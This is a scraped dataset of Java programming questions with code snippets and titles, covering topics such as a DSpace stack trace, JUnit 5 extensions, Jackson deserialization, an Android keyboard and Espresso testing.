ConcreteTreeProcessor.java:239 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.buildPipeline ( ConcreteTreeProcessor.java:186 ) at org.apache.cocoon.components.treeprocessor.TreeProcessor.buildPipeline ( TreeProcessor.java:260 ) at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke ( MountNode.java:107 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.SelectNode.invoke ( SelectNode.java:87 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:55 ) at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke ( MatchNode.java:87 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke ( PipelineNode.java:143 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke ( PipelinesNode.java:81 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process ( ConcreteTreeProcessor.java:239 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.buildPipeline ( ConcreteTreeProcessor.java:186 ) at org.apache.cocoon.components.treeprocessor.TreeProcessor.buildPipeline ( TreeProcessor.java:260 ) at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke ( MountNode.java:107 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:55 ) at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke ( MatchNode.java:87 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke ( PipelineNode.java:143 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke ( PipelinesNode.java:81 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process ( ConcreteTreeProcessor.java:239 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.buildPipeline ( ConcreteTreeProcessor.java:186 ) at org.apache.cocoon.components.treeprocessor.TreeProcessor.buildPipeline ( TreeProcessor.java:260 ) at org.apache.cocoon.components.source.impl.SitemapSource.init ( SitemapSource.java:277 ) at org.apache.cocoon.components.source.impl.SitemapSource. < init > ( SitemapSource.java:148 ) at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource ( SitemapSourceFactory.java:62 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:153 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:183 ) at org.apache.cocoon.generation.FileGenerator.setup ( FileGenerator.java:99 ) at org.dspace.app.xmlui.cocoon.AspectGenerator.setup ( AspectGenerator.java:81 ) at sun.reflect.GeneratedMethodAccessor85.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy96.setup ( Unknown Source ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline ( AbstractProcessingPipeline.java:343 ) at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline ( AbstractCachingProcessingPipeline.java:710 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline ( AbstractProcessingPipeline.java:466 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal ( AbstractProcessingPipeline.java:480 ) at sun.reflect.GeneratedMethodAccessor129.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy95.prepareInternal ( Unknown Source ) at org.apache.cocoon.components.source.impl.SitemapSource.init ( SitemapSource.java:292 ) at org.apache.cocoon.components.source.impl.SitemapSource. < init > ( SitemapSource.java:148 ) at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource ( SitemapSourceFactory.java:62 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:153 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:183 ) at org.apache.cocoon.generation.FileGenerator.setup ( FileGenerator.java:99 ) at org.dspace.app.xmlui.cocoon.AspectGenerator.setup ( AspectGenerator.java:81 ) at sun.reflect.GeneratedMethodAccessor85.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy96.setup ( Unknown Source ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline ( AbstractProcessingPipeline.java:343 ) at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline ( AbstractCachingProcessingPipeline.java:710 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline ( AbstractProcessingPipeline.java:466 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal ( AbstractProcessingPipeline.java:480 ) at sun.reflect.GeneratedMethodAccessor129.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy95.prepareInternal ( Unknown Source ) at org.apache.cocoon.components.source.impl.SitemapSource.init ( SitemapSource.java:292 ) at org.apache.cocoon.components.source.impl.SitemapSource. < init > ( SitemapSource.java:148 ) at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource ( SitemapSourceFactory.java:62 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:153 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:183 ) at org.apache.cocoon.generation.FileGenerator.setup ( FileGenerator.java:99 ) at org.dspace.app.xmlui.cocoon.AspectGenerator.setup ( AspectGenerator.java:81 ) at sun.reflect.GeneratedMethodAccessor85.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy96.setup ( Unknown Source ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline ( AbstractProcessingPipeline.java:343 ) at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline ( AbstractCachingProcessingPipeline.java:710 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline ( AbstractProcessingPipeline.java:466 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal ( AbstractProcessingPipeline.java:480 ) at sun.reflect.GeneratedMethodAccessor129.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy95.prepareInternal ( Unknown Source ) at org.apache.cocoon.components.source.impl.SitemapSource.init ( SitemapSource.java:292 ) at org.apache.cocoon.components.source.impl.SitemapSource. < init > ( SitemapSource.java:148 ) at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource ( SitemapSourceFactory.java:62 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:153 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:183 ) at org.apache.cocoon.generation.FileGenerator.setup ( FileGenerator.java:99 ) at org.dspace.app.xmlui.cocoon.AspectGenerator.setup ( AspectGenerator.java:81 ) at sun.reflect.GeneratedMethodAccessor85.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy96.setup ( Unknown Source ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline ( AbstractProcessingPipeline.java:343 ) at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline ( AbstractCachingProcessingPipeline.java:710 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline ( AbstractProcessingPipeline.java:466 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal ( AbstractProcessingPipeline.java:480 ) at sun.reflect.GeneratedMethodAccessor129.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy95.prepareInternal ( Unknown Source ) at org.apache.cocoon.components.source.impl.SitemapSource.init ( SitemapSource.java:292 ) at org.apache.cocoon.components.source.impl.SitemapSource. < init > ( SitemapSource.java:148 ) at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource ( SitemapSourceFactory.java:62 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:153 ) at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI ( CocoonSourceResolver.java:183 ) at org.apache.cocoon.generation.FileGenerator.setup ( FileGenerator.java:99 ) at sun.reflect.GeneratedMethodAccessor85.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy96.setup ( Unknown Source ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline ( AbstractProcessingPipeline.java:343 ) at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline ( AbstractCachingProcessingPipeline.java:710 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline ( AbstractProcessingPipeline.java:466 ) at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process ( AbstractProcessingPipeline.java:411 ) at sun.reflect.GeneratedMethodAccessor144.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke ( PoolableProxyHandler.java:71 ) at com.sun.proxy. $ Proxy95.process ( Unknown Source ) at org.apache.cocoon.components.treeprocessor.sitemap.SerializeNode.invoke ( SerializeNode.java:147 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:55 ) at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke ( MatchNode.java:87 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke ( PipelineNode.java:143 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke ( PipelinesNode.java:81 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process ( ConcreteTreeProcessor.java:239 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process ( ConcreteTreeProcessor.java:171 ) at org.apache.cocoon.components.treeprocessor.TreeProcessor.process ( TreeProcessor.java:247 ) at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke ( MountNode.java:117 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:55 ) at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke ( MatchNode.java:87 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke ( PipelineNode.java:143 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke ( PipelinesNode.java:81 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process ( ConcreteTreeProcessor.java:239 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process ( ConcreteTreeProcessor.java:171 ) at org.apache.cocoon.components.treeprocessor.TreeProcessor.process ( TreeProcessor.java:247 ) at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke ( MountNode.java:117 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke ( PipelineNode.java:143 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke ( PipelinesNode.java:81 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process ( ConcreteTreeProcessor.java:239 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process ( ConcreteTreeProcessor.java:171 ) at org.apache.cocoon.components.treeprocessor.TreeProcessor.process ( TreeProcessor.java:247 ) at org.apache.cocoon.servlet.RequestProcessor.process ( RequestProcessor.java:351 ) at org.apache.cocoon.servlet.RequestProcessor.service ( RequestProcessor.java:169 ) at org.apache.cocoon.sitemap.SitemapServlet.service ( SitemapServlet.java:84 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:729 ) at org.apache.cocoon.servletservice.ServletServiceContext $ PathDispatcher.forward ( ServletServiceContext.java:468 ) at org.apache.cocoon.servletservice.ServletServiceContext $ PathDispatcher.forward ( ServletServiceContext.java:443 ) at org.apache.cocoon.servletservice.spring.ServletFactoryBean $ ServiceInterceptor.invoke ( ServletFactoryBean.java:264 ) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed ( ReflectiveMethodInvocation.java:172 ) at org.springframework.aop.framework.JdkDynamicAopProxy.invoke ( JdkDynamicAopProxy.java:202 ) at com.sun.proxy. $ Proxy92.service ( Unknown Source ) at org.dspace.springmvc.CocoonView.render ( CocoonView.java:113 ) at org.springframework.web.servlet.DispatcherServlet.render ( DispatcherServlet.java:1180 ) at org.springframework.web.servlet.DispatcherServlet.doDispatch ( DispatcherServlet.java:950 ) at org.springframework.web.servlet.DispatcherServlet.doService ( DispatcherServlet.java:852 ) at org.springframework.web.servlet.FrameworkServlet.processRequest ( FrameworkServlet.java:882 ) at org.springframework.web.servlet.FrameworkServlet.doGet ( FrameworkServlet.java:778 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:622 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:729 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:292 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:207 ) at org.dspace.app.xmlui.cocoon.SetCharacterEncodingFilter.doFilter ( SetCharacterEncodingFilter.java:111 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:240 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:207 ) at org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter.doFilter ( DSpaceCocoonServletFilter.java:274 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:240 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:207 ) at org.dspace.app.xmlui.cocoon.servlet.multipart.DSpaceMultipartFilter.doFilter ( DSpaceMultipartFilter.java:119 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:240 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:207 ) at org.apache.tomcat.websocket.server.WsFilter.doFilter ( WsFilter.java:52 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:240 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:207 ) at org.dspace.utils.servlet.DSpaceWebappServletFilter.doFilter ( DSpaceWebappServletFilter.java:78 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:240 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:207 ) at org.apache.catalina.core.StandardWrapperValve.invoke ( StandardWrapperValve.java:212 ) at org.apache.catalina.core.StandardContextValve.invoke ( StandardContextValve.java:106 ) at org.apache.catalina.authenticator.AuthenticatorBase.invoke ( AuthenticatorBase.java:502 ) at org.apache.catalina.core.StandardHostValve.invoke ( StandardHostValve.java:141 ) at org.apache.catalina.valves.ErrorReportValve.invoke ( ErrorReportValve.java:79 ) at org.apache.catalina.valves.AbstractAccessLogValve.invoke ( AbstractAccessLogValve.java:616 ) at org.apache.catalina.core.StandardEngineValve.invoke ( StandardEngineValve.java:88 ) at org.apache.catalina.connector.CoyoteAdapter.service ( CoyoteAdapter.java:522 ) at org.apache.coyote.http11.AbstractHttp11Processor.process ( AbstractHttp11Processor.java:1095 ) at org.apache.coyote.AbstractProtocol $ AbstractConnectionHandler.process ( AbstractProtocol.java:672 ) at org.apache.tomcat.util.net.AprEndpoint $ SocketProcessor.doRun ( AprEndpoint.java:2500 ) at org.apache.tomcat.util.net.AprEndpoint $ SocketProcessor.run ( AprEndpoint.java:2489 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( Unknown Source ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( Unknown Source ) at org.apache.tomcat.util.threads.TaskThread $ WrappingRunnable.run ( TaskThread.java:61 ) at java.lang.Thread.run ( Unknown Source ),Dspace XMLUI config +Java,"I wonder if it 's okay ( not considered bad practice ) to have public members in package private class . I tend to add public keyword to members of my default visibility classes to indicate that such members are part of the classes API.I do it only for readability , since in this case public members have essentially the same visibility as members without any access modifiers ( i.e . package visibility ) . Is that correct ? Example :",class ModuleImplementationClass { private int fieldA ; private String fieldB ; private void someClassInternalMethod ( ) { // impl } public int doSth ( ) { // method that will be called by other classes in the package } },Public members in package private class +Java,I do n't know why Sonar thinks that in the following line a NullPointer Exception may occur : Do you guys have any idea ?,if ( file == null || file.listFiles ( ) == null || file.listFiles ( ) .length == 0 ) { //etc },Sonar : Possible nullpointer ? +Java,"I have repeatedly find myself wanting to use an interface that looks like this : It 's particularly useful in situations where you want to enforce a try-finally structure around a resource , without relying on the API user to do this.Your API implementation can then look like : ... and the API consumer can safely do : I 'm aware of the Closeable interface . That 's not quite so general purpose - it ca n't force the consumer to close the resource correctly.The interface might equally be called Receiver . Guava has Supplier which is pretty much the opposite , but no Receiver.Is there some core interface that has this structure that I have missed ? Am I somehow doing something that everyone else considers overkill ? I note the exact same question has been asked in a C # context : Does this interface already exist in the standard .NET libraries ?","interface Handler < T > { void handle ( T toHandle ) ; } public void loadResource ( Handler < SomeResource > resourceHandler ) { SomeResource r = fetchTheResource ( ) ; try { resourceHandler ( r ) ; finally { r.close ( ) ; } } loader.loadResource ( new Handler < SomeResource > ( ) { public void handle ( SomeResource resource ) { // use the resource , no need to worry about closing it . } } ) ;",Is there a standard Java Receiver/Handler interface ? +Java,"I have 2 `` class level '' rules : MyRule1 and MyRule2MyRule2 depends on MyRule1MyRule1 `` before '' method should therefore run before the MyRule2 `` before '' method.In JUnit 4 , it can be implemented this way , via the RuleChain : In JUnit 5 , I have to implement it this way : with MyRule2 : It 's the equivalent of the JUnit 4 implementation when it comes to the result.But I have to explicitly and manually call the beforeAll ( ) callback of MyRule1 in MyRule2.I would like that MyRule2 would not be responsible for MyRule1 execution.I went through the Extension Model documentation of JUnit 5but did n't find anything on extensions that depend on other extensions .",static MyRule1 myRule1 = new MyRule1 ( ) ; static MyRule2 myRule2 = new MyRule2 ( myRule1 ) ; @ RuleTestRule ruleChain = RuleChain.outerRule ( myRule1 ) .around ( myRule2 ) ; static MyRule1 myRule1 = new MyRule1 ( ) ; @ RegisterExtensionstatic MyRule2 myRule2 = new MyRule2 ( myRule1 ) ; class MyRule2 implements BeforeAllCallback { private final MyRule1 myRule1 ; public MyRule2 ( MyRule1 myRule1 ) { this.myRule1 = myRule1 ; } @ Override public void beforeAll ( ExtensionContext extensionContext ) { this.myRule1.beforeAll ( ) ; X x = this.myRule1.getX ( ) ; // do Rule 2 stuff with x } },What is the equivalent of @ RuleChain in JUnit 5 ? +Java,"I am designing a custom keyboard for Amharic language in Android , but the following is applicable to many other non-English languages.Two or more combination of keys translate to one character . So , if the user types 'S ' , the keyboard will output ' ሰ ' ... and if they follow it with the letter ' A ' , the ' ሰ ' is replaced with ' ሳ'.I managed to get a solution , as below , working by looking at the character before the cursor and checking it against a Map . However , I was wondering whether there is a simpler and cleaner solution possible .","public void onKey ( int primaryCode , int [ ] keyCodes ) { InputConnection ic = getCurrentInputConnection ( ) ; HashMap < String , Integer > en_to_am = new HashMap < String , Integer > ( ) ; CharSequence pChar = ic.getTextBeforeCursor ( 1 , 0 ) ; int outKey = 0 ; //build a hashmap of 'existing character ' + 'new key code ' = 'output key code ' en_to_am.put ( `` 83 '' , 4656 ) ; en_to_am.put ( `` ሰ65 '' , 4659 ) ; try { //see if config exists in hashmap for 'existing character ' + 'new key code ' if ( en_to_am.get ( pChar.toString ( ) + primaryCode ) ! = null ) { outKey = en_to_am.get ( pChar.toString ( ) + primaryCode ) ; ic.deleteSurroundingText ( 1 , 0 ) ; } else { //else just translate latin to amharic ( ASCII 83 = ሰ ) if ( en_to_am.get ( `` '' + primaryCode ) ! = null ) { outKey = en_to_am.get ( `` '' + primaryCode ) ; } else { //if no translation exists , just output the latin code outKey = primaryCode ; } } } catch ( Exception e ) { outKey = primaryCode ; } char code = ( char ) outKey ; ic.commitText ( String.valueOf ( code ) , 1 ) ; }",Output one character per two keys in Android Keyboard +Java,"I have a PC with 4 Gigabyte RAM and a file with 10 Gigabyte memory usage . Now I want to check , if each line in the file is unique so I have written the following code : But I get a OutOfMemoryException so my question is : How should I change my code to get a file where each line is unique ? Thank you for your help in advance .",import java.io.BufferedReader ; import java.io.File ; import java.io.FileReader ; import java.io.FileWriter ; import java.io.IOException ; import java.util.HashSet ; import java.util.Set ; public class Cleaner { public static void main ( String [ ] args ) throws IOException { if ( args.length < 2 ) { System.out.println ( `` Too less parameters ! `` ) ; return ; } File file = new File ( args [ 0 ] ) ; BufferedReader buff = new BufferedReader ( new FileReader ( file ) ) ; String line ; Set < String > set = new HashSet < String > ( ) ; while ( ( line = buff.readLine ( ) ) ! = null ) { set.add ( line ) ; } FileWriter fw = new FileWriter ( args [ 1 ] ) ; for ( String s : set ) { fw.write ( s + `` \n '' ) ; fw.flush ( ) ; } fw.close ( ) ; buff.close ( ) ; } },How to extract unique lines in file > 10 GB with 4GB RAM +Java,"Let 's say I have this client-side JSON input : I have this class : I have this Java Spring endpoint where I pass the input in the body of a POST request : I would like in : Set < Entity > types = in.getTypes ( ) ; to have only two entries in the correct order ... since one of them is a duplicate based on the id ... Instead I get duplicates in the LinkedHashSet ( ! ) I thought from the code I have that removing duplicates would work automatically , but apparently it is not.This question has a broader context than Why do I need to override the equals and hashCode methods in Java ? since it is using implicit Jackson serialization through Java Spring .","{ id : `` 5 '' , types : [ { id : `` 1 '' , types : [ ] } , { id : `` 2 '' , types : [ ] } , { id : `` 1 '' , types [ ] } ] } class Entity { private String id ; private Set < Entity > types = new LinkedHashSet < > ( ) ; public String getId ( ) { return this.id ; } public String setId ( String id ) { this.id = id ; } public Set < Entity > getTypes ( ) { return types ; } @ JsonDeserialize ( as=LinkedHashSet.class ) public void setTypes ( Set < Entity > types ) { this.types = types ; } @ Override public boolean equals ( Object o ) { if ( o == null || ! ( o instanceof Entity ) ) { return false ; } return this.getId ( ) .equals ( ( ( Entity ) o ) .getId ( ) ) ; } } @ RequestMapping ( value = `` api/entity '' , method = RequestMethod.POST ) public Entity createEntity ( @ RequestBody final Entity in ) { Set < Entity > types = in.getTypes ( ) ; [ ... ] }",Deserialization of JavaScript array to Java LinkedHashSet using Jackson and Spring does n't remove duplicates +Java,"I 'm running across a similar issue to FragmentActivity can not be tested via ActivityInstrumentationTestCase2The problem with the top solution there is that only applies to using the Eclipse build system . I 'm using Gradle for my project.On my Nexus 5 running the ART runtime , my Espresso instrument tests run perfectly . When I use a Nexus 4 on the Dalvik runtime or an emulator , I run into an exception that does n't occur when running the app outside of the testing framework.In the logs , I find these suspicious messages similar to the linked question : ProgressDialogFragment is a subclass of DialogFragment2 which is a subclass of the Android support library 's DialogFragment classHere are the dependencies in my Gradle file if that helps : So my question is how can I make sure that the same support library is being used between the application APK and the test APK ? I 've already tried adding in instrumentTestCompile 'com.android.support : support-v4 : + ' to ensure the same support library version but that did n't help .","java.lang.NoClassDefFoundError : com.packagename.fragment.ProgressDialogFragment Class resolved by unexpected DEX : Landroid/support/v4/app/DialogFragment2 ; ( 0x41e969d8 ) :0x76064000 ref [ Landroid/support/v4/app/DialogFragment ; ] Landroid/support/v4/app/DialogFragment ; ( 0x41e969d8 ) :0x75883000 ( Landroid/support/v4/app/DialogFragment2 ; had used a different Landroid/support/v4/app/DialogFragment ; during pre-verification ) Unable to resolve superclass of Landroid/support/v4/app/DialogFragment2 ; ( 271 ) Link of class 'Landroid/support/v4/app/DialogFragment2 ; ' failedUnable to resolve superclass of Lcom/packagename/fragment/ProgressDialogFragment ; ( 270 ) Link of class 'Lcom/packagename/fragment/ProgressDialogFragment ; ' failedCould not find method com.packagename.fragment.ProgressDialogFragment.newInstance , referenced from method com.packagename.activity.IntroActivity.doJoinVFY : unable to resolve static method 47365 : Lcom/packagename/fragment/ProgressDialogFragment ; .newInstance ( I ) Landroid/support/v4/app/DialogFragment2 ; VFY : replacing opcode 0x71 at 0x0063 compile 'com.android.support : support-v4 : + ' compile 'com.android.support : appcompat-v7 : + ' compile 'com.google.android.gms : play-services : + ' compile 'com.google.code.findbugs : jsr305 : + ' compile 'com.fasterxml.jackson.core : jackson-databind:2.3.+ ' compile 'de.greenrobot : greendao:1.3.+ ' compile 'fr.avianey : facebook-android-api : + @ aar ' compile 'com.squareup.mimecraft : mimecraft:1.1.+ ' compile 'com.squareup.picasso : picasso:2.2.+ ' compile 'com.squareup.okhttp : okhttp:1.5.+ ' compile 'eu.inmite.android.lib : android-styled-dialogs:1.1.+ @ aar ' compile 'com.newrelic.agent.android : android-agent:3.+ ' compile 'uk.co.chrisjenx : calligraphy:0.7.+ ' compile 'com.github.chrisbanes.actionbarpulltorefresh : library:0.9.+ ' compile 'com.github.chrisbanes.actionbarpulltorefresh : extra-abc:0.9.+ ' apt `` com.jakewharton : butterknife : $ { project.ext.butterKnifeVersion } '' compile `` com.jakewharton : butterknife : $ { project.ext.butterKnifeVersion } '' compile fileTree ( dir : 'libs ' , include : '*.jar ' ) // Excluded modules were determined from here : https : //github.com/robolectric/deckard-gradle instrumentTestCompile fileTree ( dir : 'libs-test ' , include : '*.jar ' ) instrumentTestCompile 'com.google.guava : guava:14.0.1 ' , 'com.squareup.dagger : dagger:1.1.0 ' , 'org.hamcrest : hamcrest-integration:1.1 ' , 'org.hamcrest : hamcrest-core:1.1 ' , 'org.hamcrest : hamcrest-library:1.1 ' instrumentTestCompile ( 'junit : junit:4.11 ' ) { exclude module : 'hamcrest-core ' } instrumentTestCompile ( 'org.robolectric : robolectric:2.3-SNAPSHOT ' ) { exclude module : 'classworlds ' exclude module : 'maven-artifact ' exclude module : 'maven-artifact-manager ' exclude module : 'maven-error-diagnostics ' exclude module : 'maven-model ' exclude module : 'maven-plugin-registry ' exclude module : 'maven-profile ' exclude module : 'maven-project ' exclude module : 'maven-settings ' exclude module : 'nekohtml ' exclude module : 'plexus-container-default ' exclude module : 'plexus-interpolation ' exclude module : 'plexus-utils ' exclude module : 'wagon-file ' exclude module : 'wagon-http-lightweight ' exclude module : 'wagon-http-shared ' exclude module : 'wagon-provider-api ' } instrumentTestCompile 'org.mockito : mockito-core:1.9.+ '",Issues running Espresso instrument tests on Dalvik runtime devices +Java,"I have this hibernate class with annotations : Since I don´t won´t to annotate every id field of my classes that way , I tried to create a custom anotation : so that I can use this annotation in my class : I do have to write the @ Id and the @ GeneratedValue annotions on 